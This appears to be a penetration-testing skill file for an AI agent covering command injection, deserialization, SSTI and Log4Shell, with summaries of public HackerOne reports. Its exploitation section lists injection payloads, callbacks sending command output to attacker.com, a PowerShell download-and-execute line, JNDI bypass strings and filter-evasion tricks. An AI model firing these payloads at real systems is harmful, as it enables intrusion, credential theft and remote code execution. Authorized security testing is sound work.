Command Injection Penetration Testing Patterns
当对 Web 应用进行命令注入和远程代码执行渗透测试时加载此 Skill。覆盖 OS 命令注入、反序列化、Log4Shell 等。
Attack Surface Discovery
高风险功能：
- 网络工具：ping、traceroute、nslookup、dig 等功能
- 文件转换/处理：PDF 生成、图片处理、视频转码
- CI/CD 管道：构建脚本、部署命令
- 包管理器集成：npm install、pip install
- 系统管理面板：服务重启、日志查看
- 打印/报表：调用系统命令生成报表
- 已知漏洞组件：Log4j、DotNetNuke、Apache Struts
识别信号：
- 响应中包含命令执行输出的格式（如 ping 结果）
- 输入参数疑似被拼接到系统命令中
- 应用使用已知存在 RCE 的框架/组件版本
- 管理面板使用默认凭证
Exploitation Techniques
Shell 元字符注入：
# 命令分隔符
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)
# 换行符
%0awhoami
%0dwhoami
盲注检测：
# 时间盲注
; sleep 10
| ping -c 10 127.0.0.1
& timeout /t 10
# OOB 回调
; curl https://attacker.burpcollaborator.net
| nslookup attacker.burpcollaborator.net
; wget https://attacker.com/$(whoami)
反序列化攻击：
- Java：利用 ysoserial 生成 gadget chain payload
- 常用 gadget：
CommonsCollections1-7、Spring1-4、Hibernate1
- 入口点：
ObjectInputStream.readObject()、JSON 反序列化（Jackson enableDefaultTyping、Fastjson @type）
- .NET：DotNetNuke Cookie 反序列化（CVE-2017-9822）
- 工具：ysoserial.net，常用 gadget：
TypeConfuseDelegate、WindowsIdentity
- Python：pickle.loads() 执行任意代码
- Payload：
__reduce__ 方法返回 os.system 调用
- PHP：unserialize() + POP chain
- 工具：PHPGGC 生成框架特定 gadget chain
SSTI（服务端模板注入）：
- 探测：
{{7*7}}（Jinja2/Twig）、${7*7}（FreeMarker）、<%= 7*7 %>（ERB）
- 确认框架后使用对应 RCE payload
- 注意区分 SSTI 与 XSS（SSTI 在服务端执行，XSS 在客户端执行）
PowerShell 注入（Windows 环境）：
; Invoke-Expression "whoami"
| IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
Log4Shell / JNDI 注入：
${jndi:ldap://attacker.com/exploit}
${jndi:rmi://attacker.com/exploit}
# 绕过变体
${${lower:j}ndi:${lower:l}dap://attacker.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
利用链（默认凭证 → RCE）：
- 发现管理面板使用默认凭证
- 通过管理功能上传恶意文件/报表
- 触发代码执行获得 RCE
绕过技巧：
- 空格绕过：
{IFS}、$IFS$9、%09（Tab）
- 关键字绕过：
w'h'o'a'm'i、wh$()oami、Base64 编码后解码执行
- 路径绕过：
/usr/bin/id 替代 id
- 引号绕过：
\、$@
Detection Checklist
Impact Assessment
漏洞利用可达到的效果：
- 完全系统控制：执行任意命令，安装后门
- 数据窃取：读取数据库、文件系统中的所有敏感数据
- 横向移动：利用服务器凭证（AWS IAM、SSH 密钥）访问其他系统
- 挖矿/僵尸网络：利用服务器算力
- 供应链攻击：篡改 CI/CD 管道中的构建产物
严重度判断：
- Critical：未认证 RCE、可直接执行系统命令、影响面广（如 Log4Shell）
- High：需认证的 RCE、需要特定条件触发、利用链较短
- Medium：需要多步链式利用、受沙箱限制、影响范围有限
Real-World Cases
以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。
Case 1: IBM — Middleware Authentication Bypass on IBM Portal
- 严重度: Critical | CWE: Command Injection - Generic
- 摘要: The vulnerability of middleware authentication bypass on the IBM Portal endpoint was reported, analyzed, and remediated. The discovery was reported by an external researcher.
- 报告: https://hackerone.com/reports/3088290
Case 2: MTN Group — Cisco IOS XE instance at ████ vulnerable to CVE-██████
- 严重度: Critical | CWE: Command Injection - Generic
- 摘要: A vulnerability was discovered in a Cisco IOS XE instance that allowed bypassing authentication to reach a web endpoint and execute arbitrary Cisco IOS commands or make configuration changes with Priv...
- 报告: https://hackerone.com/reports/2778350
Case 3: MTN Group — CVE-2017-9822 DotNetNuke Cookie Deserialization Remote Code Execution (RCE) on lonidoor.mtn.ci
- 严重度: Critical | CWE: Code Injection
- 摘要: The DotNetNuke (DNN) versions between 5.0.0 and 9.3.0 were affected by a deserialization vulnerability that could lead to remote code execution. The vulnerability was caused by the way DNN handled the...
- 报告: https://hackerone.com/reports/2762119
Case 4: MTN Group — Remote code injection in Log4j on https://mymtn.mtncongo.net - CVE-2021-44228
Case 5: MTN Group — Remote code injection in Log4j on http://mtn1app.mtncameroon.net - CVE-2021-44228
Case 6: MTN Group — Remote code execution via crafted pentaho report uploaded using default credentials for pentaho business server
- 严重度: Critical | CWE: Code Injection
- 摘要: A remote code execution vulnerability was discovered in Pentaho Business Analytics Server. By uploading a specially crafted Pentaho report file using default credentials, an attacker could achieve arb...
- 报告: https://hackerone.com/reports/1677047
Case 7: Mozilla — Remote code execution and exfiltration of secret tokens by poisoning the mozilla/fxa CI build cache
- 严重度: Critical | CWE: Code Injection
- 摘要: Remote code execution and data exfiltration were possible by poisoning a cache used in a CI build process. A proof of concept demonstrated the ability to exfiltrate sensitive data by re-uploading a mo...
- 报告: https://hackerone.com/reports/2255750
Case 8: Trellix — Unauthenticated Path Traversal and Command Injection in Trellix Enterprise Security Manager 11.6.10
- 严重度: Critical | CWE: OS Command Injection
- 摘要: A critical vulnerability was identified in Trellix Enterprise Security Manager (ESM) version 11.6.10. The vulnerability allowed unauthenticated access to internal API endpoints through path traversal ...
- 报告: https://hackerone.com/reports/2817658
Case 9: U.S. Dept Of Defense — GlobalProtect - OS Command Injection #█████████
- 严重度: Critical | CWE: OS Command Injection
- 摘要: A command injection vulnerability was discovered in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations. This vulnerability...
- 报告: https://hackerone.com/reports/2468496
Case 10: U.S. Dept Of Defense — Remote Code Execution and AWS IAM Credentials Exfiltration in https://████████/
- 严重度: Critical | CWE: Command Injection - Generic
- 摘要: The host https://██████/ had a vulnerability in the /jenkins/script directory that allowed users to execute system commands on the host. This could have led to the disclosure of AWS IAM credentials, w...
- 报告: https://hackerone.com/reports/2083771